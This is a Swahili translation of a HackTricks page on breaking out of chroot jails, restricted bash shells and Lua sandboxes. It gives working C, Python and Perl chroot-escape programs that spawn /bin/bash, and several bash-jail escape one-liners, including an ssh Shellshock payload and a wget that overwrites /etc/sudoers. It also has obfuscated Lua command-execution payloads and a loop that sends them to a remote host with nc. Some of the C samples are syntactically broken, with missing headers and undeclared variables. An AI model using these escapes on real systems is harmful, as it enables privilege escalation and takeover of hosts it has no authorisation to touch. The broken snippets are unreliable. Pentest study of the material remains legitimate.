hacktricks/linux-hardening/privilege-escalation/escaping-from-limited-bash.md

11 KiB

Kutoroka Kutoka Jela

{% hint style="success" %} Jifunze na zoezi la AWS Hacking:Mafunzo ya HackTricks AWS Red Team Expert (ARTE)
Jifunze na zoezi la GCP Hacking: Mafunzo ya HackTricks GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

GTFOBins

Tafuta kwenye https://gtfobins.github.io/ ikiwa unaweza kutekeleza binary yoyote na mali ya "Shell"

Kutoroka kwa Chroot

Kutoka wikipedia: Mfumo wa chroot haukusudiwi kumlinda dhidi ya kuharibiwa kwa makusudi na watumiaji wenye mamlaka (root). Kwenye mifumo mingi, muktadha wa chroot hauwezi kustack vizuri na programu zilizochrooted zenye mamlaka ya kutosha zinaweza kufanya chroot ya pili kuvunja.
Kawaida hii inamaanisha kwamba ili kutoroka unahitaji kuwa root ndani ya chroot.

{% hint style="success" %} Zana chw00t ilitengenezwa kwa kudhuru mazingira yafuatayo na kutoroka kutoka chroot. {% endhint %}

Root + CWD

{% hint style="warning" %} Ikiwa wewe ni root ndani ya chroot unaweza kutoroka kwa kuunda chroot nyingine. Hii ni kwa sababu chroot 2 haziwezi kuwepo pamoja (kwenye Linux), hivyo ikiwa unajenga folda na kisha kuunda chroot mpya kwenye folda hiyo mpya ukiwa nje yake, sasa utakuwa nje ya chroot mpya na hivyo utakuwa kwenye FS.

Hii hutokea kwa sababu kawaida chroot HAIHAMISHI saraka yako ya kufanyia kazi kwenye ile iliyoelekezwa, hivyo unaweza kuunda chroot lakini uwe nje yake. {% endhint %}

Kawaida hutapata binary ya chroot ndani ya gereza la chroot, lakini unaweza kuiandika, kuipakia na kuitekeleza:

C: break_chroot.c ```c #include <sys/stat.h> #include #include

//gcc break_chroot.c -o break_chroot

int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }

</details>

<details>

<summary>Kipanya</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Perl ```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); ```

Root + Saved fd

{% hint style="warning" %} Hii ni sawa na kesi iliyopita, lakini katika kesi hii mshambuliaji hifadhi file descriptor kwa saraka ya sasa na kisha anajenga chroot katika saraka mpya. Hatimaye, akiwa na upatikanaji wa FD hiyo nje ya chroot, anapata na kutoroka. {% endhint %}

C: break_chroot.c ```c #include <sys/stat.h> #include #include

//gcc break_chroot.c -o break_chroot

int main(void) { mkdir("tmpdir", 0755); dir_fd = open(".", O_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir_fd); close(dir_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }

</details>

### Root + Fork + UDS (Unix Domain Sockets)

{% hint style="warning" %}
FD inaweza kupitishwa juu ya Unix Domain Sockets, hivyo:

* Unda mchakato wa mtoto (fork)
* Unda UDS ili mzazi na mtoto waweze kuongea
* Tekeleza chroot katika mchakato wa mtoto katika saraka tofauti
* Katika mchakato wa mzazi, unda FD ya saraka ambayo iko nje ya chroot mpya ya mchakato wa mtoto
* Pita kwa mtoto FD hiyo kutumia UDS
* Mchakato wa mtoto chdir kwa FD hiyo, na kwa sababu iko nje ya chroot yake, atatoka gerezani
{% endhint %}

### Root + Mount

{% hint style="warning" %}
* Kufunga kifaa cha mzizi (/) ndani ya saraka ndani ya chroot
* Kuingia chroot katika saraka hiyo

Hii inawezekana katika Linux
{% endhint %}

### Root + /proc

{% hint style="warning" %}
* Funga procfs ndani ya saraka ndani ya chroot (ikiwa bado haijafanyika)
* Tafuta pid ambayo inaingia tofauti ya mzizi/cwd, kama: /proc/1/root
* Chroot katika kuingia hiyo
{% endhint %}

### Root(?) + Fork

{% hint style="warning" %}
* Unda Fork (mchakato wa mtoto) na chroot katika saraka tofauti zaidi katika FS na CD juu yake
* Kutoka kwa mchakato wa mzazi, hamisha saraka ambapo mchakato wa mtoto yuko katika saraka kabla ya chroot ya watoto
* Mchakato hawa watoto watapata wenyewe nje ya chroot
{% endhint %}

### ptrace

{% hint style="warning" %}
* Zamani watumiaji wangeweza kudebugi mchakato wao wenyewe kutoka kwa mchakato wa wenyewe... lakini hii sio inawezekana kwa chaguo-msingi tena
* Hata hivyo, ikiwa inawezekana, unaweza ptrace katika mchakato na kutekeleza shellcode ndani yake ([angalia mfano huu](linux-capabilities.md#cap\_sys\_ptrace)).
{% endhint %}

## Jela za Bash

### Uchambuzi

Pata habari kuhusu gereza:
```bash
echo $SHELL
echo $PATH
env
export
pwd

Badilisha PATH

Angalia kama unaweza kubadilisha mazingira ya PATH

echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory

Kutumia vim

:set shell=/bin/sh
:shell

Unda skripti

Angalia kama unaweza kuunda faili inayoweza kutekelezwa na /bin/bash kama yaliyomo

red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path

Pata bash kutoka SSH

Ikiwa unatumia ssh unaweza kutumia hila hii kutekeleza bash shell:

ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "

Tangaza

declare -n PATH; export PATH=/bin;bash -i

BASH_CMDS[shell]=/bin/bash;shell -i

Wget

Unaweza kubadilisha mfano wa faili ya sudoers

wget http://127.0.0.1:8080/sudoers -O /etc/sudoers

Mbinu Nyingine

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
https://pen-testing.sans.org/blog/2012/0b6/06/escaping-restricted-linux-shells
https://gtfobins.github.io
Pia inaweza kuwa ya kuvutia ukurasa:

{% content-ref url="../bypass-bash-restrictions/" %} bypass-bash-restrictions {% endcontent-ref %}

Python Jails

Mbinu za kutoroka kutoka kwa jela za python zinapatikana kwenye ukurasa ufuatao:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Lua Jails

Kwenye ukurasa huu unaweza kupata kazi za jumla unazoziweza ndani ya lua: https://www.gammon.com.au/scripts/doc.php?general=lua_base

Eval na utekelezaji wa amri:

load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()

Baadhi ya mbinu za kuita kazi za maktaba bila kutumia alama za mshono:

print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))

Panga kazi za maktaba:

for k,v in pairs(string) do print(k,v) end

Tafadhali kumbuka kuwa kila unapotekeleza amri ya mstari mmoja iliyotangulia katika mazingira tofauti ya lua, mpangilio wa kazi hubadilika. Kwa hivyo, ikiwa unahitaji kutekeleza kazi moja maalum unaweza kufanya shambulio la nguvu likisoma mazingira tofauti ya lua na kuita kazi ya kwanza ya maktaba:

#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end

#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done

Pata ganda la lua la kuingiliana: Ikiwa uko ndani ya ganda la lua lililopunguzwa unaweza kupata ganda jipya la lua (na kwa matumaini lisililopunguzwa) kwa kuita:

debug.debug()

Marejeo

{% hint style="success" %} Jifunze & zoezi AWS Hacking:Mafunzo ya HackTricks AWS Red Team Expert (ARTE)
Jifunze & zoezi GCP Hacking: Mafunzo ya HackTricks GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}